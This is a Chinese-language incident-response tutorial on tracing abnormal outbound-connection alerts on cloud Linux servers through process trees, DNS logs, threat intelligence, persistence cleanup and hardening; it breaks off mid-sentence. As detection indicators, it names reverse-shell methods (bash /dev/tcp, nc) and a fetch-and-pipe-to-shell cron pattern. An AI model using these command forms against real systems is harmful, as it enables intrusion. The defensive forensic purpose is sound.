云安全中心异常外联排查:Linux进程与DNS分析教程
服务器发出的一条外联请求,可能意味着攻击者已经完成入侵,正与C2服务器交换指令。云安全中心异常外联排查,本质是沿着进程行为与DNS解析记录逆向还原攻击路径的过程。对运维工程师而言,真正棘手的不是告警本身,而是如何从每日数百条告警中筛出需要立即处置的致命信号。
一、什么是云安全中心异常外联告警?
云安全中心"异常外联"指服务器主动向外部IP或域名发起可疑连接。它分析Linux进程行为、网络连接和DNS请求,判断是否与已知恶意C2服务器通信,按威胁等级评分,高优告警需立即处置,是识别失陷主机的关键信号。
1. 异常外联行为的表现
攻击者控制服务器后,必然需要通过外联完成指令下发、数据回传或挖矿任务。这类连接通常呈现固定特征:目的IP为境外地址或云厂商未备案网段、连接时间呈周期性规律、通信数据包大小异常稳定。最常见的场景是挖矿木马外联矿池——攻击者利用未修复漏洞或弱口令入侵后,静默下载矿机程序,每30秒至2分钟向矿池地址提交一次算力。另一个典型表现是DNS隧道,恶意程序将数据封装进TXT或MX记录查询中,规避IP封禁,特点是短时间产生大量冷门域名的解析请求,且域名频繁更换。
2. 为什么Linux进程易触发
云上Linux服务器是外联告警的重灾区。一是配置普遍偏高,攻击者入侵后可直接利用CPU算力挖矿;二是安全基线薄弱,多数服务器未配置出站白名单,默认放行全部主动连接;三是进程管理对运维透明,恶意程序常通过随机命名、Rootkit隐藏或注入系统进程运行,top 命令根本看不到异常高CPU进程。更隐蔽的是,外联通信进程本身CPU占用极低——它只负责心跳,真正吃算力的挖矿子进程是独立进程。这意味着仅盯资源占用率必然漏掉关键的C2通信入口。
3. 告警的风险等级评估
云安全中心按威胁等级将告警分为紧急、高危、中危、低危四档。紧急告警通常对应已确认的C2通信或挖矿程序运行,需立即隔离处置;高危告警指向反弹Shell连接、异常权限提升等入侵后行为;中低危告警则多为扫描探测、暴力破解尝试或误报。评分依据包括目的IP威胁情报标签、进程文件哈希匹配率、父进程链可信度等维度。值得警惕的是,大量运维人员只看告警文案中的"挖矿"或"C2"字样,忽略了评分背后的证据链——有时一个低危告警反而指向更隐蔽的后门程序,因为攻击者刻意控制了通信频率和流量特征。
二、常见攻击链路与场景分析
异常外联告警千差万别,但核心链路只有那么几条。云安全中心的异常外联排查,最终要落到进程行为和网络连接上。根据行业应急响应统计,挖矿木马、反弹Shell、DNS隧道三大类是云上Linux服务器告警的主因,占比可达85%以上。以下从攻击特征和流量行为两个维度拆解。
1. 挖矿木马外联特征
云上Linux服务器被入侵后,最常见的是被植入挖矿木马。攻击者先利用未修复的RCE漏洞、弱口令或暴露的Redis等服务进入系统,然后静默下载矿机程序。矿机启动后需要连接矿池的stratum协议服务,常见端口有4444、5555、14444等,也有使用TCP 443伪装HTTPS流量。
但要注意一个易被忽视的点:挖矿进程和网络外联进程往往是分离的。矿机主进程负责计算,CPU占用率可能冲到500%;而真正对外发送心跳、接收任务的通信进程可能只是一个小脚本,CPU占用不足1%。这也是把top当唯一排查手段的人常常漏掉C2入口的原因。在云安全中心的告警中,这类外联往往表现为反复连接固定IP或域名,且源端口随机。域名通常含“pool”、“mine”等词,但越来越多的矿池开始使用CDN和动态域名,单纯看域名关键词已不可靠。
更麻烦的是持久化。绝大多数挖矿木马会写入crontab或systemd timer,每隔几分钟拉取一次最新矿机程序。如果处置时只杀进程不清理任务,5分钟内就会重新上线。云安全中心的进程树和告警溯源功能能直接展示父进程链,但很多用户不熟悉这个字段,往往盯着CPU最高的进程,反而放过了真正的源头。
2. 反弹Shell外联方式
与挖矿木马不同,反弹Shell通常是一次性的交互连接,目标是拿到shell权限。攻击者在漏洞利用成功后,通过bash /dev/tcp/ip/port、nc、python -c等方式让服务器主动连接攻击者控制的服务器。这里的关键是“主动外联”,因此出站防火墙策略如果不做限制,所有依赖入站检测的传统防火墙都会失效。
反弹Shell的外联端口多选用80、443、8080等常用端口,也有用高端口。Docker容器环境里,由于iptables规则作用域不同,有时还会看到从容器网桥IP发起的外联。这些连接的进程链通常很有意思:父进程可能是nginx、apache、java等Web服务,子进程却是一个/bin/sh或busybox,而且这些shell进程的TTY可能是?,无终端。在云安全中心的告警中,这类外联的源进程往往不是常见命令,需要重点看exe路径是否在/tmp、/var/tmp、/dev/shm下。
一个容易被忽略的细节是,反弹Shell连接建立后,攻击者会在会话里继续下载工具横向移动,所以告警中会出现短时间内同一个源IP对外多个IP的SYN连接。封禁对端IP并不能阻止后续攻击,因为攻击者可以换一台VPS,所以需要立刻清除会话并修改所有凭据。
3. DNS请求与C2通信
当恶意程序需要稳定回传数据,或者网络环境只放行DNS出站时,攻击者会使用DNS隧道。根据MITRE ATT&CK中的T1071.004技术,恶意软件将数据编码到DNS查询的特定子域名中,通过TXT、MX等记录类型与C2服务器通信。这种流量在防火墙层面极难识别,因为它看起来就是正常的DNS请求。
识别DNS隧道主要有几个特征:一是域名随机度高,通常是DGA算法生成,如xv29qk.xyz,且每轮查询会更换子域名;二是请求频率远高于正常解析,一个客户端每秒可能产生数十次查询;三是记录类型单一,大量TXT或MX查询,几乎没有A记录;四是TTL极低,普遍小于300秒。在实际处置中,我们遇到过利用DNS隧道把主机的系统配置、进程列表、内网网段全部回传的案例。如果云安全中心的告警中看到某域名在短时间内解析次数异常,务必要抓包分析。
不少用户有个误区,看到外联C2就想着封IP。事实上,攻击者会为C2域名配置CDN或者动态解析,同一个域名背后可能对应几百个IP。只封IP不封域名,过一段时间又是同一批IP。正确做法是先在本地解析出全部IP,然后在云安全中心的告警规则中阻断域名,同时用威胁情报源查一次域名历史解析记录,确认是否被标记过。像云老大在处理这类问题时,通常会把DNS日志接入SIEM做关联分析,再结合威胁情报快速判定恶意域名,这比手工一个个查高效得多。
以上是三类最高发的外联场景。理解了攻击者的主动外联逻辑,才能明白云安全中心告警里那些字段为什么重要。下一节我们具体讲如何从进程和DNS两个维度动手排查。
三、如何定位可疑Linux进程?
收到云安全中心的异常外联告警后,多数人的第一反应是登录服务器执行 top 看哪个进程占用CPU高。这个习惯在对挖矿木马的排查中确实有效——矿机程序跑起来后CPU占用率通常飙到百分之七八十以上。但如果你面对的是一个只做C2心跳通信的远控木马,top 的结果会极具迷惑性:恶意进程的CPU占用率可能长期保持在0.3%以下,看起来和一个闲置的 sshd 进程毫无区别。这正是为什么我们反复强调,排查必须沿着「进程→网络→文件」的链路走,而不是单点碰运气。
1. 用 top / ps 做初步筛查:别只盯着 CPU 占用率
第一步仍然建议用 top 或 ps 做快照,但观察维度要扩展。执行 top -c 后,除了看 %CPU 列,还要重点留意 %MEM、TIME+ 和 COMMAND。很多挖矿木马的守护进程会伪装成 [kworker]、[watchdog] 这类内核线程名,或者使用 nginx、mysql 等与业务相关的名字来伪装。区分方法是:内核线程通常不占物理内存,如果某个内核线程的 %MEM 显示非零,那几乎可以判定是伪装的用户态进程。
ps aux 命令建议加 --sort=-%cpu 排序,同时查看 STAT 列。对外联进程来说,TIME+ 列能反映进程累积消耗的CPU时间,如果累积时间超过半小时但 %CPU 很低,说明该进程可能是常驻型后门,正在等待C2指令。
排查时注意几个关键检查点:
- 进程名与启动时间:执行
ps -eo pid,lstart,cmd | grep查看进程启动时间,然后对比服务器last reboot或uptime的输出。如果在系统启动后几分钟内进程就出现了,且不是已知的系统服务,需要重点关注。 - 父进程链:用
cat /proc/查看/status PPid,再用ps -fp追溯父进程。一个反弹Shell或挖矿木马,其父进程往往不是1(systemd)或2(kthreadd),而是crond、nginx或者一个可疑的sh -c进程。经验数据是,超过80%的恶意进程是通过crond或systemd timer拉起的,父进程链异常是比CPU占用率更可靠的告警信号。 - 进程状态:
STAT列显示Z(僵尸)状态的进程容易被忽略,但如果僵尸进程的父进程是init,且持续存在,可能是恶意程序在等待子进程退出后重新拉起自身,这种现象在挖矿木马中很常见。
2. 用 netstat / ss 和 lsof 精确定位外联链路
top 和 ps 只能告诉你系统里有什么进程在跑,但要确认「谁在对外发数据」,必须把网络连接和进程关联起来。这是整个排查过程中最关键的一步。
执行 netstat -antp 或 ss -antp 查看所有TCP连接。筛选出 ESTABLISHED 状态、且对端IP是境外或云厂商未备案IP段的连接。这里要排除正常业务:比如你的服务器上有NTP时间同步,会外联 ntp.aliyun.com 或 pool.ntp.org;如果装了云监控Agent,会定期向云厂商的端点上报心跳。正常的运维外联通常解析到知名IP或云厂商机房段,而恶意外联的对端IP往往归属不明,或指向一些小型IDC、住宅IP段。
lsof -i -P -n 是更细的排查工具。它列出所有打开的网络文件描述符,输出中 -> 右侧是对端IP和端口。你应该重点关注以下特征:
- 对端端口为 853、8443 或 50000 以上随机高端口:这通常是为了绕过防火墙的出站策略。80/443 可能是伪装HTTPS流量,但853(DoT)和随机高端口则更可疑。
- 同一进程同时打开了多个TCP连接到不同IP:如果 PID 相同的进程同时外联 5 个以上不同IP,极大概率是C2客户端在进行分布式通信,这在云上失陷主机中发生频率很高。
- 连接对端IP指向矿池:矿池地址通常有特征——比如连接到
stratum+tcp://协议的目标服务器,常见端口是 3333、4444、5555、14444。netstat输出里如果对端端口是这些,且进程名是随机字符串,基本可以定性为挖矿程序。
lsof -p 可以查看指定进程打开的所有文件。除了网络连接,还需要检查它打开了哪些文件——尤其是写入的 .log、.pid、.lock 文件路径,以及从 /tmp、/dev/shm、/var/tmp 目录下加载的二进制。这三个目录是恶意程序最常用的存放位置,原因很简单:权限宽松,且重启后未必会清空。
在执行这一步时,你大概率会遇到「进程已退出,连接已消失」的情况。这时候不要慌,去翻云安全中心告警里的原始日志,或者查看 /var/log/messages 和 auditd 日志。很多安全团队在处置云服务器入侵时,都会配合云安全中心自带的网络快照与DNS解析记录进行回溯,仅依赖 netstat 的实时输出很难抓到完整证据链。这也是为什么我们建议在全网服务器上统一配置 syslog 和 auditd,将进程启动和网络连接事件都汇聚到集中日志平台——在关键时刻,一小时的历史日志比一小时的实时排查更有价值。对于运维力量不足的团队,云老大的安全托管服务通常会在客户服务器上预置一套轻量级的主机侧采集探针,将进程、网络、DNS三类日志汇聚到云端,在发生外联告警时可以直接回溯到分钟级的完整链路,而不用临时登服务器抓包。
四、如何分析DNS请求并追踪域名?
1. 查看DNS解析记录
排查异常外联的第一步,是把DNS查询行为从“黑盒”变成“白盒”。多数云安全中心的告警只给出目的域名和IP,但完整解析链路——本地DNS缓存、系统resolver配置、实际查询的权威服务器——往往需要自行取证。
建议按如下顺序操作:
第一步:确认本地解析配置。 查看 /etc/resolv.conf,确认 nameserver 是否被篡改。攻击者常将DNS指向自家服务器,实现污染解析或DNS隧道通信。正常情况下,云服务器应使用云厂商提供的内网DNS地址(如100.100.x.x或169.254.x.x网段),若出现公网DNS或境外IP,需立即警惕。
第二步:抓取全量DNS流量。 仅依赖云安全中心告警里的单个域名远远不够。用 tcpdump -i eth0 port 53 -w dns.pcap 持续抓包5分钟,再配合 tshark -r dns.pcap -Y "dns.flags.response == 1" -T fields -e dns.qry.name | sort | uniq -c | sort -rn 统计高频查询域名。实战中,正常业务主机的DNS请求集中在少量已知域名;若出现几十个随机子域名(如 a1b2c3.malicious-domain.xyz)且每个只查一次,基本可判定为DGA(域名生成算法)行为。
第三步:核查进程内DNS缓存。 对已锁定的可疑进程执行 lsof -p 查看其工作目录和加载文件,同时用 strace -p 实时跟踪其DNS查询行为。这个方法能直接定位到是哪个进程在发起解析,比事后翻系统日志效率更高。
2. 对比威胁情报定恶意
拿到域名清单后,需要快速判定哪些是恶意域名。这里不建议凭“域名长得怪”做主观判断——攻击者已学会注册近似正常业务的域名来规避人工审查。
成熟的研判路径是:
先查VirusTotal。 将域名输入VT,重点看“Community Score”和“Detections”页签。若多个安全厂商标记为恶意,且首次提交时间在一周内,基本可以确定是C2或矿池域名。同时查看其“Relations”中的解析历史,若该域名曾被解析到已知恶意IP段,则加大确认概率。
再看微步在线。 微步的域名情报对国内云上攻击的覆盖度较好,尤其对通过CDN隐藏的C2域名有独到识别能力。将域名复制进去,关注“威胁类型”和“标签”字段,若显示“木马回连”或“挖矿矿池”,直接进入处置流程。
交叉验证时间戳。 用 whois <域名> 查看注册时间和注册者信息。恶意域名的典型特征是注册时间极短(不超过3个月)、注册信息匿名化、且域名后缀集中在.xyz、.top、.icu等廉价后缀。正常业务的域名往往已运营多年且有完整备案信息。
这里有一个容易被忽略的细节:域名解析历史比当前解析结果更重要。攻击者会频繁更换解析IP以对抗封禁,但历史解析记录会暴露其惯用IP段。若域名的历史解析集中在某个境外IDC网段(如常见的荷兰、俄罗斯、香港机房),结合当前告警信息,可显著提高判定准确率。
3. 利用日志分析系统
单点排查解决的是“当前是否被入侵”的燃眉之急,但要想厘清“从哪里来、扩散到哪些主机、后续是否复发”,必须依赖日志分析系统做全局溯源。
开启auditd审计日志。 在 /etc/audit/rules.d/audit.rules 中添加以下规则:
-w /etc/resolv.conf -p wa -k dns_change
-w /etc/hosts -p wa -k hosts_change
-a always,exit -F arch=b64 -S execve -k process_exec
第一条监控DNS配置篡改,第二条监控hosts文件劫持,第三条记录全量进程执行行为。重启auditd后,通过 ausearch -k dns_change -ts recent 查询是否有异常时间点的配置变更记录。这套规则在实战中能有效发现攻击者释放恶意脚本、修改解析配置的痕迹。
接入云审计日志或SIEM平台。 将云安全中心的告警日志、VPC流日志、DNS解析日志统一接入ELK或Splunk,建立外联告警的关联分析视图。以“进程PID”为关联键,把告警事件、父进程链、网络会话和文件读写做时间轴还原。之前处理过的一个案例中,攻击者在凌晨2点14分通过Redis未授权访问写入定时任务,2点17分下载挖矿木马,2点18分开始外联矿池——整个入侵链条在日志系统里一目了然,而在单台服务器上只能看到孤立告警。
注意DNS日志的保留周期。 默认情况下,systemd-resolved 的日志不完整,dnsmasq 日志默认不开启。建议在DNS层独立部署一套全量日志方案,保留周期不低于180天——这是标准合规要求,也是事后溯源的底线。实际运维中,不少用户只看云安全中心的告警列表,不保留原始DNS日志,导致被入侵两周后才收到告警却无从查起。
日志系统的价值在于把“点状告警”还原成“面状攻击链”。拿到攻击链之后,处置动作才真正有了依据:封禁的IP端口、清理的进程文件、修复的漏洞路径,都能在日志里验证处置效果,而不是拍脑袋做决定。
五、如何结合告警信息还原攻击链路?
告警信息从来不是孤立的事件,而是一条攻击链在某个节点暴露出的切片。云安全中心推送的每一条约外联告警,本质上包含了「谁(进程)在什么时间、通过什么方式、连接到了哪里」的完整链路线索。问题在于,多数运维人员只盯着「目的IP是否恶意」这一层,却忽略了告警中真正有价值的字段——父进程链、文件哈希、命令行参数。这些字段组合起来,才能还原出攻击者从入侵到持久化的完整路径。
1. 关键字段解读:先看懂告警里的「隐藏坐标」
一条典型的外联告警通常包含以下核心字段,它们不是并列关系,而是递进关系:
- 进程路径与命令行:这是定位恶意程序的直接坐标。
/tmp/.X11-unix/01这类随机目录下的二进制,明显优于/usr/bin/curl这类系统路径。但要注意,攻击者会利用exec -a或二进制替换等手段伪造进程名,真实路径往往藏着sshd子目录或/var/tmp/等冷门位置。 - 父进程链:比进程本身更关键。如果发起外联的进程父进程是
nginx,但nginx的二进制被替换过,这比对bash直接发起的连接更需要深挖。父进程链完整记录了进程的诞生来源,攻击者的利用入口(如WebShell、漏洞利用、弱口令)都会在父进程链上留下痕迹。 - 目的IP与端口组合:目的IP的威胁标签只是基础,更值得关注的是端口组合逻辑。外联
443端口的不一定是HTTPS流量,用tcpdump抓包后发现是裸TCP明文传输,才有问题;外联53端口也不一定是DNS查询,可能是DNS隧道,需要比对请求的域名类型和频率。 - 文件哈希:告警中会附带可执行文件的SHA256。这个值不建议直接在上万台机器的终端上搜索,而应提交到威胁情报平台做批量交叉验证。
拿到这四类字段后,先别急着封禁IP。正确的顺序是:先快照当前网络连接和进程列表,再按父进程链索引进程树,最后对唯一可执行文件做哈希验证。这个过程通常控制在5分钟内完成,否则证据可能被反取证逻辑清除。云老大在云上安全运维的实战中,正是按这套顺序帮客户处理过多起类似告警——先看父进程链和文件哈希,再决定处置动作,而不是被目的IP的威胁等级牵着走。
2. 利用进程树追溯:以「会话」为单位的攻击路径还原
在真实攻防场景中,仅靠单条进程信息很难还原全貌。我们遇到的多数Linux挖矿或C2事件,入侵者都利用了多个进程协同工作——下载器与矿机分离、C2心跳与持久化任务分离。此时,需要以告警中的PID为起点,向上下游追溯:
# 找到告警进程PID后(假设为 83215),查看其完整父子关系
pstree -ap 83215
# 获取该进程的工作目录和实际执行的二进制路径
ls -l /proc/83215/exe
cat /proc/83215/cmdline | tr '\0' ' '
# 查看该进程打开的所有网络连接及对应的文件描述符
lsof -p 83215 | grep -E 'TCP|UDP|cwd|txt'
通过进程树,通常能看到两类典型的攻击链:
- 利用型攻击链路:
sshd(父) → bash(子) → wget(下载挖矿程序) → config.json(矿池配置) → xmrig(挖矿进程)。这类链路中,父进程sshd本身未必有问题,但它的子进程bash的SOURCE字段如果是pts/0,基本可以确认攻击者已经通过SSH会话登录过。 - Web入口型攻击链路:
nginx(父) → php-fpm(子) → sh(子) → curl(外联下载) → /tmp/x (可执行)。这类链路中,php-fpm的工作目录往往指向Web目录,结合access.log中的POST请求时间戳,可以反推出攻击者使用的具体漏洞。
需要特别提醒的是,攻击者会刻意抹掉进程链。常见的手段包括:setsid 脱离会话、double-fork 让父进程变为 init、prctl(PR_SET_NAME) 修改进程名。遇到这类情况时,直接抓取下线前的内存数据(gcore)或使用 sysdig 这类内核级工具,会比在 /proc 文件系统的残骸里大海捞针高效得多。根据实际应急响应经验,大约有30%的高对抗性样本会使用进程伪装技术,仅靠传统 top 和 ps 基本发现不了异常,必须用 pstree 逐层核对进程的启动时间与文件创建时间是否合理。
3. 文件哈希与沙箱:让恶意样本「主动交代」行为特征
当锁定到具体二进制文件后,不要急于删除,先取样本,再做哈希验证。这里有个比在VirusTotal上单纯查标签更高效的工作流:
- 本地先算哈希:
sha256sum /tmp/.x/update拿到样本哈希。 - 交叉查询多个平台:VirusTotal、微步在线、奇安信威胁情报中心三个平台同时查询。若至少两个平台标记为恶意,样本的恶意置信度超过95%。VirusTotal的首次提交时间如果能早于事件发生时间一周以上,说明这是一个广撒网的老样本;如果提交时间就在攻击发生前后,极有可能是针对你这台机器的定向样本,价值极高。
- 沙箱动态分析:将样本上传到微步云沙箱或VirusTotal的Cuckoo沙箱,重点看三类行为——运行时释放了什么文件、修改了哪些注册表或crontab项、发起外联的目标域名和IP是什么。普通攻击者通常会复用已有的C2基础设施,沙箱报告中的外联域名和IP,往往同时关联着同批次入侵的其他受害主机。
有一个经常被忽略的技巧:用文件的编译时间戳(ELF Header 中的 st_mtime)和Go语言构建信息(go version -m)判断样本来源。如果编译时间在攻击发生前一个月内,且包含特定的中文或俄文路径信息(如 /root/go/src/malware),这通常意味着攻击者使用了比较新的攻击框架(如 Sliver 或 Villain),或是有明确地域特征的定向黑客组织。这些都是在告警信息之外,通过样本自己「交代」出来的关键情报。
还原攻击链路的最终目的,是形成一个可闭环的处置清单。基于告警字段、进程树和文件哈希三条线,最终要回答三个问题:入侵入口在哪里、持久化手段是什么、数据是否已流出。这三个问题的答案,分别对应着漏洞修复、后门清理和数据泄漏评估。完成这一步,才算真正抓住了一次异常外联事件的完整全貌。
六、如何处置异常外联并加强预防?
收到「云安全中心异常外联排查」的高优告警后,处置思路不是简单「杀掉进程」就结束,而是遵循「隔离—取证—清除—加固—复测」五步闭环。很多安全团队在第一步就犯了错:直接登录服务器执行 kill,殊不知这会触发恶意程序的自我保护机制(如文件自删除、进程互拉),导致证据链断裂,后续无法溯源攻击路径。正确的处置节奏,应当是先切流量,再动主机。
1. 终止恶意进程:先隔离取证,再精准清除
在动手终止任何进程之前,务必先完成网络隔离。具体操作是登录云控制台,在安全组入方向规则中仅保留 SSH 管理端口,出方向暂时切换为白名单模式——放行已知的 NTP(123/UDP)、Yum/Apt 源(80/443)、云监控上报地址,其余一律拦截。这一步不是为了阻断攻击者(入站已被控制),而是为了切断恶意程序与 C2 的通信链路,防止它在被清除前外传更多敏感数据。
完成隔离后,保留现场证据。执行 ss -antup 导出当前 TCP 连接快照,执行 cat /etc/resolv.conf 确认 DNS 配置是否被篡改,再复制一份 /var/log/messages 和 /var/log/secure 作为审计底稿。此时才是排查进程的时机。以云安全中心告警中给定的父进程 PID 为起点,依次执行:
pstree -ap # 查看完整进程树,确认是否有兄弟子进程
ls -l /proc//exe # 定位二进制文件路径
file /proc//exe # 查看文件类型(正常 ELF 还是脚本)
lsof -p # 检查该进程打开的 TCP 连接和文件句柄
这里有一个行业实践中反复验证的经验:恶意外联进程往往 CPU 占用极低(仅做心跳保活),真正的高 CPU 挖矿子进程与网络外联进程在进程树中通常是分离的。只盯 top 找高 CPU 进程,很容易漏掉真正负责 C2 通信的「信使」进程。之前某电商客户在排查时就发现,负责外联的是一个名为 sys-guard 的进程,CPU 占用仅 0.3%,而挖矿子进程 kworkerds 占用了 340%。两者通过进程树关联后,才确认是同一恶意家族。
终止进程时,不要直接 kill -9。先用 kill -15 发送 SIGTERM,观察是否有守护进程将其拉起。如果 30 秒内进程 PID 未变化但状态变为 zombie,说明父进程已被清理;如果 PID 变化,说明存在 watchdog 守护进程,需要通过 systemctl list-units --type=service --state=running 检查异常服务单元,或通过 crontab -l 检查定时任务中的拉起脚本。最终确认无守护后,再 kill -9 并删除二进制文件。
2. 清除持久化配置:排查 crontab、SSH 公钥与 systemd 定时器
这是「处置之后又复发」问题的核心环节。攻击者为了让恶意程序在重启后或进程被杀后自动重生,通常会植入三类持久化配置。
第一类是 crontab 定时任务。 查看当前用户和 root 的 crontab:crontab -l 和 crontab -e。重点检查是否存在 Base64 编码字符串、wget/curl 配合管道执行(如 curl http://xxx|sh)、或者指向 /tmp、/var/tmp、/dev/shm 目录的脚本路径。同时检查系统级定时任务目录:/etc/cron.d/、/etc/cron.hourly/、/var/spool/cron/。实际案例中,恶意 crontab 条目常写成 */5 * * * * /usr/lib/systemd/systemd-update >/dev/null 2>&1 这样伪装成系统服务的名字。
第二类是 SSH 后门公钥。 检查 /root/.ssh/authorized_keys 和所有用户家目录下的 ~/.ssh/authorized_keys,逐行核对公钥注释(通常为 user@hostname 格式)。如果发现陌生的公钥,尤其注释为空或仅为无意义字符串的,立即删除。同时检查 /etc/ssh/sshd_config 中是否有异常的 AuthorizedKeysFile 指令指向非默认路径,以及是否存在未被注释的 PermitRootLogin yes + PasswordAuthentication yes 组合。
第三类是 systemd 定时器与服务。 执行 systemctl list-timers --all 查看所有定时器,重点排查 Enabled 状态且描述含糊的条目(如 update-notifier.timer)。再执行 systemctl list-unit-files --state=enabled 列出所有开机自启服务,对名称与正常系统服务相似但路径指向 /tmp、/var/tmp、/usr/share/ 的单元文件保持高度警惕。检查服务文件内容时,重点关注 ExecStart= 行的命令路径和执行参数。之前某金融机构的服务器就是被植入了 /etc/systemd/system/network-monitor.service,伪装成网络监控服务,实际执行的是 /var/tmp/.lib/libsystem.so,通过 systemd 实现开机自启。
清除工作完成后,需要反向验证:删掉所有恶意条目后,重启服务器(或至少重启 sshd 和 systemd),再次执行 ss -antup 确认无外联连接,执行 crontab -l 确认无残留。这一步验证过程不能省,否则无法确认是否遗漏了隐藏在 /etc/rc.local、/etc/profile.d/、~/.bashrc 中的第四类持久化手段。
3. 加固服务器安全:改密、补洞、调基线,并做 24 小时复测
清除恶意程序后,真正的攻防较量才开始。如果不对服务器的弱口令和已知漏洞进行修复,攻击者用同样的方式大概率在 48 小时内二次入侵。根据云厂商公开的应急响应统计,超过 60% 的二次入侵发生在首次处置后的 24 小时内,原因就是只清了马、没补洞。
加固动作按优先级排序:
密码与认证策略。 修改所有用户密码(不只是 root),使用 16 位以上随机密码;生成新的 SSH 密钥对,将公钥更新至 authorized_keys,并在 sshd_config 中禁用 PasswordAuthentication yes,改为 PubkeyAuthentication yes。如果必须保留密码登录,则开启 MaxAuthTries 3 和 LoginGraceTime 30 限制爆破频率。
漏洞修复与基线检查。 执行 yum update --security 或 apt upgrade 升级系统组件,重点覆盖 OpenSSH、内核、glibc 相关安全更新。随后打开云安全中心的「基线检查」功能,逐一核对报告中的「高危」和「紧急」项——常见问题是 Redis 未设置密码、Docker daemon 暴露 2375 端口、MySQL root 使用空密码等。这些配置类风险与 Web 漏洞不同,没有对应的 CVE 编号,但恰恰是攻击者进入云上 Linux 服务器最常用的入口。
网络访问控制收敛。 在安全组
